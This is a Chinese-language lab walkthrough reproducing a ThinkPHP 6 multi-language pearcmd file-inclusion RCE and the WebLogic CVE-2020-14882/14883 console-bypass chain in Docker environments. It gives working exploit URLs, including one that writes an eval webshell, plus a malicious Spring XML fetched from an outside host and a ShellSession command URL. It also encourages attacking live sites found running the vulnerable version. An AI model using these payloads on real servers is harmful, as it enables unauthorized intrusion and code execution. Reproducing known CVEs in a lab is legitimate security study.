中间件RCE
中间件RCE
Thinkphp RCE
简介
Thinkphp是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷Web应用开发和简化企业应用开发而诞生的。
2022年12月,Thinkphp被披露出在开启多语言特性的情况下存在文件包含漏洞,攻击者可以通过get、header、cookie等位置传入参数,实现目录穿越+文件包含,通过pearcmd文件包含trick即可实现RCE。
默认情况下,系统只会加载默认语言包,如果需要多语言自动侦测及自动切换,需要在全局的中间件定义文件中添加相关配置,因此只有启用了多语言特性并且使用存在漏洞的版本时才存在漏洞。
漏洞利用条件:
1、多语言特性开启
2、安装pear库
3、知道pearcmd.php路径
4、register_argc_argv = on
环境搭建
docker pull vulfocus/thinkphp:6.0.12 //漏洞版本内
docker run -d -p 8080:80 vulfocus/thinkphp:6.0.12
- ThinkPHP首页指纹信息,如果在测试某个网站的时候发现了这个页面,同时在网上有该版本的漏洞,那就可以直接拿来攻击了
漏洞测试
- 前端测试是否存在pearcmd,访问路径,如果存在下图中的报错就确认存在
- EXP(指 “Exploit”,利用代码或利用程序,网上可以直接找)
?lang=../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?
=phpinfo()?>+/var/www/html/paris.php
?lang=../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?
=@eval($_REQUEST['a']);?>+/var/www/html/paris.php
- 写入成功
- 居然被url编码了,无所谓,可以抓包
- 成功解析,那么一句话木马同样可以解析
修复
- 关闭多语言特性
- 升级至最新版本
Weblogic未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)
简介
2020年Oracle官方发布了数百个组件的高危漏洞公告。其中组合利用 CVE-2020-14882 & CVE-2020-14883 可使攻击者绕过WebLogic后台登录限制,远程代码执行获取WebLogic服务器权限,利用难度极低,风险极大。
- 原理
CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台
CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令
这两个漏洞的组合利用,可以让攻击者以未授权的身份登录后台,然后通过GET请求在Weblogic服务器上远程 执行命令。
- 影响范围
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
- 下载vulhub,启动Weblogic漏洞(CVE-2020-14882)环境
启动环境
在Vulhub中选择某个环境,进入漏洞目录启动:docker-compose up -d 漏洞测试,Vulhub中所有漏洞环境均配置了详细的说明文档,包括如何编译、启动、原理、复现,详见https://vulhub.org/#/environments/
操作容器
停止:docker-compose stop
开启:docker-compose start
移除:docker-compose down
漏洞测试
- 访问 http://your-ip:7001/console 来到登录页面,正常来说肯定是需要账号密码才能登录到后台,这里利用CVE-2020-14882漏洞,访问以下URL,即可未授权访问到管理后台页面:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
或
http://your-ip:7001/console/images/%252e%252e%252fconsole.portal
注:%252e%252e%252f 是经过两次URL编码后的../,通过这个就可以实现穿越路径未授权访问后台页面。
- 进来了,但是没有admin用户,因为是未授权访问进来的
观察该页面可看到通过未授权访问的后台与正常登陆的后台相比,由于权限不足,缺少部署等功能,无法安装应用,所以也无法通过部署项目等方式直接获取权限。想要实现服务器RCE,就要借助另外一个漏洞(CVE-2020-14883)。
CVE-2020-14883
通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 类实现,这种方法最早在 CVE-2019-2725(Weblogic反序列化漏洞) 被提出,是一个通杀的方法,对Weblogic的所有版本均有效。此方法需要借助XML文件,通过访问XML文件来执行命令。
- 构造一个恶意的XML文件,并将其保存在Weblogic可以访问到的服务器上,如http://example.com/rce.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/paris]]></value> # 新建一个文件paris
</list>
</constructor-arg>
</bean>
</beans>
- 传到upload-labs靶场
访问如下xml
http://your-ip:7001/console/images/%252e%252e%252fconsole.portal?
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.su
pport.FileSystemXmlApplicationContext("http://example.com/rce.xml")
- 进入到容器里面,文件写入成功,能写文件就能写恶意代码,能写恶意代码就能执行,因此,这是一个高危漏洞
- 这种利用方法的不足之处,就是需要Weblogic服务器能够访问到恶意XML。如果网站部署在内网且无法访问公网的话,则无法执行XML文件
第二种方法
-
通过 com.tangosol.coherence.mvel2.sh.ShellSession 类实现,这个利用方法只能在 Weblogic12.2.1 以上版本利用,因为 10.3.6(上面受影响版本中只有这一个低于12.2.1)版本没有这个类。
-
直接访问如下url
http://your-ip:7001/console/images/%252e%252e%252fconsole.portal?
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java
.lang.Runtime.getRuntime().exec('touch%20/tmp/paris');")
- 如下,漏洞利用成功